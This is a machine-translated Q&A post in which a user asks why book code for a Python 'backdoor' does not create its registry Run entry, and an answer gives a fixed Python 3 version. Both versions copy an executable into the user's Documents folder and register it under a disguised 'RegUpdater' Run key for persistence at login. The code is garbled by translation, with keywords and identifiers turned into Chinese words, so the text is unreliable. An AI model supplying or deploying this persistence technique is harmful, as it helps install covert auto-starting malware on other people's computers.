尝试使用Python在注册表中创建运行项

尝试使用Python在注册表中创建运行项,python,security,Python,Security,嘿,伙计们,我正在使用一本书中的代码。对于代码,它确实需要putty并将其移动到文档文件夹,但最终不会放入注册表项。我正在Windows7 64位机器上运行python 2.7版 获取工作目录所需的导入操作系统 导入文件复制所需的shutil 导入子流程#获取用户配置文件所需 导入_winregas wreg#编辑注册表数据库所需 path=os.getcwd().strip('/n')#获取执行后门的当前工作目录,我们使用输出来构建源路径 Null,userprof=subprocess.ch

嘿,伙计们,我正在使用一本书中的代码。对于代码,它确实需要putty并将其移动到文档文件夹,但最终不会放入注册表项。我正在Windows7 64位机器上运行python 2.7版

获取工作目录所需的导入操作系统 导入文件复制所需的shutil 导入子流程#获取用户配置文件所需 导入_winregas wreg#编辑注册表数据库所需 path=os.getcwd().strip('/n')#获取执行后门的当前工作目录,我们使用输出来构建源路径 Null,userprof=subprocess.check_输出('set USERPROFILE',shell=True)。拆分('=')) destination=userprof.strip('\n\r')+'\\Documents\\\'+'putty.exe' 如果操作系统路径不存在(目标): shutil.copyfile(路径+'\putty.exe',目标) key=wreg.OpenKey(wreg.HKEY\u当前用户,“软件\Microsoft\Windows\CurrentVersion\Run”,0, 扳手钥匙(所有通道) wreg.SetValueEx(键'RegUpdater',0,wreg.REG_SZ,目的地) key.Close()
我在Python3中运行它,它运行得很好

path=os.getcwd().strip('\n')
Null,userprof=subprocess.check_输出('set USERPROFILE',shell=True,stdin=subprocess.PIPE,
stderr=subprocess.PIPE).decode().split('='))
destination=userprof.strip('\n\r')+'\\Documents\\\'+'client.exe'
如果操作系统路径不存在(目标):
shutil.copyfile(路径+'\client.exe',目标)
key=wreg.OpenKey(wreg.HKEY\u当前用户,“软件\Microsoft\Windows\CurrentVersion\Run”,0,wreg.key\u所有访问权限)
wreg.SetValueEx(注册表项'RegUpdater',0,wreg.REG_SZ,目的地)
key.Close()